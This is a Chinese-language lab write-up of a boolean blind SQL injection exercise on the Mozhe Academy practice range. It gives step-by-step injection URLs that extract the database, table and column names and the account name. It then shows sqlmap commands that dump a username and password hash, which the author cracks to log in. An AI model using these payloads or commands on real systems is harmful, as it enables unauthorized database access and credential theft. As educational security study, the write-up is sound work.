墨者学院的在线靶场中sql注入漏洞测试(布尔盲注),因为不管是时间盲注还是布尔盲注手工的话都需要大量的经历和时间来完成,正好自己最近在学习sql注入的盲注,就决定用手工做一次盲注的测试,以便于对sql注入更深刻的理解
温馨提示:此文章基于专门实验的平台下测试,任何人不得随意测试或者注入,互联网不是法外之地,任何除学习之外的事情与作者无关。
首先我们打开墨者学院在线靶场中的sql注入漏洞测试(布尔盲注)
然后找到滚动的字段打开链接寻找注入点
通过测试 and 1=1 and 1=2 之后发现存在注入点
然后开始布尔盲注:手工的话过程繁琐,需要思维清晰,耐心检查。
一.手工注入
1.获取数据库的长度
http://219.153.49.228:46311/new_list.php?id=1 and length (database())=10--+ //判断数据库长度为10
可以通过< >等符号来确定数据库长度的范围 看页面是否返回正常
得到数据库的长度为10
2.判断数据库的名字,从第一个字符开始判断,长度为10,所以要测试10次,方法一致
http://219.153.49.228:46311/new_list.php?id=1 and ORD(mid(database(),1,1))=115 --+
用到两个函数 Ord()转换为ASCII码 ,截取字符串:mid(str,1,1)
这边我们测试到第一个字符ASCII码为115,经查询是 's'
同理第二个字符:http://219.153.49.228:46311/new_list.php?id=1 and ORD(mid(database(),2,1))=116 --+
// 第二位为ASCII 116 't'
经过多次测试 得到数据库名字为stormgroup
3.获取表的总数
http://219.153.49.228:46311/new_list.php?id=1 and (select count(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() )= 2 --+
//可知表的总数 为2
4. 获取第一个表的长度
http://219.153.49.228:46311/new_list.php?id=1 and (select length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1)= 6--+
这边其实我大体用sqlmap跑了一下得知想要的数据就在第一个表下
为了我们顺利手工注入而且能够省点部分步骤
5.获取表的内容:
http://219.153.49.228:46311/new_list.php?id=1 and ord( mid( ( select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1 ),1,1 ) )=109 -- +
//得知第一个表的第一个字符为ASCII 109的 查询后为 m
经过多次测试得到表为member
6.获取表字段的长度:
http://219.153.49.228:46311/new_list.php?id=1 and (select count(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME=0x6d656d626572 ) = 3 -- +
//表下有三个字段 表名要用16进制
7.获取第一个字段的长度:
http://219.153.49.228:46311/new_list.php?id=1 and (select length(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME=0x6d656d626572 limit 0,1 ) = 4 -- +
8.获取第一个字段的内容:http://219.153.49.228:46311/new_list.php?id=1 and ( select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME=0x6d656d626572 limit 0,1 )='name' --+
//这边猜想长度为4的字段为name 没想到猜对了
9.获取第二个字段的内容
http://219.153.49.228:46311/new_list.php?id=1 and ( select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME=0x6d656d626572 limit 1,1 )='password' --+
得到是password
10.获取内容的长度:http://219.153.49.228:46311/new_list.php?id=1 and (Select Length(concat(name,password)) from member limit 0,1)=37 -- +
//内容长度为37 可以简单猜测密码 通过某种加密方法为32
11.获取name下的内容:
http://219.153.49.228:46311/new_list.php? id=1 and ord (mid(( Select concat(name) from member limit 0,1 ) ,1,1))=109
第一位ascii 位109 查询得到 m
相同办法可以得到name下的内容为:mozhe
12.获取password 下的内容:
密码通过md5加密手工拿实在太麻烦 手工更多得是帮助我们去深入理解到sql注入 这边的密码我使用sqlmap工具跑出来
百度md5解密第二个之后顺利登陆,终于完成了,本身用工具去跑的话几分钟就可以完成的一件事,手工却要两个小时,但是我们在初学的时候,对sql注入还不是那么熟悉,手工可以让我们对sql语句包括一些整体思维有一个深刻的理解。
下面用kali下的sqlmap工具简单的完成这一个实验,顺便证明一下我们手工盲注时爆出的表和字段是不是正确的。
1.sqlmap -u url --dbs
得到数据stormgroup 和我们手工盲注的一样
2.sqlmap -u http://219.153.49.228:49845/new_list.php?id=1 -D stormgroup --tables
得到两个表名 member 和notice
我们需要的数据在member下
3.sqlmap -u http://219.153.49.228:49845/new_list.php?id=1 -D stormgroup -T member --columns
得到表下有name和password还有status三个字段 我们就需要的账号和密码在name和password下
4.sqlmap -u http://219.153.49.228:49845/new_list.php?id=1 -D stormgroup -T member -C name,password --dump
最后爆出内容与之前手工完全一致
工具自然有工具的方便性和效率,可是 我们在学习过程中不能一直依赖工具,手工实验有时候才会更加深我们自己对sql注入的理解。
温馨提示:此文章仅限于学习记录与讨论,不得随意测试或者注入,互联网不是法外之地,任何除学习之外的事情与作者无关。